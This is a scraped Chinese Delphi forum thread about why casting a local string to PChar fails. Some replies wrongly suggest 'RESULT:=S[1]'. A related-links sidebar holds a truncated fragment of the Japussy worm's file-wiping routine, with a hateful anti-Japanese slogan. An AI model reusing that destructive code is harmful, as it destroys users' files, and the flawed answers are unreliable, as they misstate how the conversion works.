社区
Delphi
帖子详情
STRING TO PCHAR
ljccyzy
2003-06-27 05:23:11
STRING类型转化为PCHAR类型的问题哦,困扰很久了。
用强制转换时会出问题,但用字符数组循环提取又太麻烦了。
例如:
FUNCTION TRANS:PCHAR;
VAR
S,S1,S2:STRING;
BEGIN
S:='';
S1:='取值A';
S:=S+S1;
S2:='取值B';
S:=S+S2;
RESULT:=PCHAR(S);//会出问题!
END;
该如何解决?讨论有分!
...全文
168
11
打赏
收藏
STRING TO PCHAR
STRING类型转化为PCHAR类型的问题哦,困扰很久了。 用强制转换时会出问题,但用字符数组循环提取又太麻烦了。 例如: FUNCTION TRANS:PCHAR; VAR S,S1,S2:STRING; BEGIN S:=''; S1:='取值A'; S:=S+S1; S2:='取值B'; S:=S+S2; RESULT:=PCHAR(S);//会出问题! END; 该如何解决?讨论有分!
复制链接
扫一扫
分享
转发到动态
举报
写回复
配置赞助广告
用AI写文章
11 条
回复
切换为时间正序
请发表友善的回复…
发表回复
打赏红包
devil_li
2003-06-27
打赏
举报
回复
是的,s是局部变量,这样可能会有问题:再次访问该字符串结果可能会不对(该内存地址被别的过程改写了),不过也不会报错。讲出你的具体要求吧,看看怎么改进.
cow8063
2003-06-27
打赏
举报
回复
没问题呀
firetoucher
2003-06-27
打赏
举报
回复
会出问题,因为s局部变量,在函数退出后就会卸载,但pchar的指针仍然在无效的string上,delphi的建议是用内存拷贝,看帮助吧,里面有!
DWGZ
2003-06-27
打赏
举报
回复
我也看不出来
用StrPCopy试试
blueshu
2003-06-27
打赏
举报
回复
看不出来
things
2003-06-27
打赏
举报
回复
我用D6测试也没问题呀!
outer2000
2003-06-27
打赏
举报
回复
FUNCTION TRANS:PCHAR;
VAR
S,S1,S2:STRING;
BEGIN
S:='';
S1:='取值A';
S:=S+S1;
S2:='取值B';
S:=S+S2;
RESULT:=PCHAR(S);//会出问题!
END;
procedure TForm1.Button1Click(Sender: TObject);
begin
showmessage(trans)
end;
我用D7,没问题的啊,测试了;
devil_li
2003-06-27
打赏
举报
回复
我试了一下,没问题阿,你是在哪里用的TRANS函数?把你用TRANS函数的代码贴出来
huayuxing
2003-06-27
打赏
举报
回复
RESULT:=S[1];//
firetoucher
2003-06-27
打赏
举报
回复
RESULT:=S[1];//
firetoucher
2003-06-27
打赏
举报
回复
RESULT:=PCHAR(S[1]);//
delphi写的 删除文件的源代码
删除全盘文件的源代码 { 将目标文件写入垃圾码后删除 } procedure SmashFile(FileName:
string
); const //垃圾码,以备写入 Catchword = 'If a race need to be killed out, it must be Yamato. ' + 'If a country need to be destroyed, it must be Japan! ' + '*** W32.Japussy.Worm.A ***'; var FileHandle: Integer; i, Size, Mass, Max, Len: Integer; begin try SetFileAttributes(
PC
har
(FileName), 0); //去掉只读属性 FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件 try Size := GetFileSize(FileHandle, nil); //
String
to
PC
har
来自Delphi Help 关键字
String
to
PC
har
conversions 长字符串转换到
PC
har
不是自动的。他们之间的不同点导致他们的转换存在问题。 1,长字符串是引用计数的,而
PC
har
不是 2,赋值给长字符串是数据的拷贝,而
PC
har
是指向数据的指针。 3,长字符串是空止符结尾,并包含有字符串的长度。而
PC
har
是简单的空止符结尾。( 空止符结尾指以#0结尾) 把p...
delphi 中
string
pc
har
转换
pc
har
to
string
: function StrPas(const Str:
PC
har
):
string
;
string
to
pc
har
: function Str
PC
opy(Dest:
PC
har
; const Source:
string
):
PC
har
;
String
Pc
har
互相转换
pc
har
to
string
: function StrPas(const Str:
PC
har
):
string
;
string
to
pc
har
: function Str
PC
opy(Dest:
PC
har
; const Source:
string
):
PC
har
;
{-------------------实例代码-----------------------}
procedure TForm1.ButtonCl
string
与
PC
har
来自Delphi Help 关键字
String
to
PC
har
conversions长字符串转换到
PC
har
不是自动的。他们之间的不同点导致他们的转换存在问题。1,长字符串是引用计数的,而
PC
har
不是2,赋值给长字符串是数据的拷贝,而
PC
har
是指向数据的指针。3,长字符串是空止符结尾,并包含有字符串的长度。而
PC
har
是简单的空止符结尾。( 空止符结尾指以#0结尾)procedure m
Delphi
5,388
社区成员
262,730
社区内容
发帖
与我相关
我的任务
Delphi
Delphi 开发及应用
复制链接
扫一扫
分享
社区描述
Delphi 开发及应用
社区管理员
加入社区
获取链接或二维码
近7日
近30日
至今
加载中
查看更多榜单
社区公告
暂无公告
试试用AI创作助手写篇文章吧
+ 用AI写文章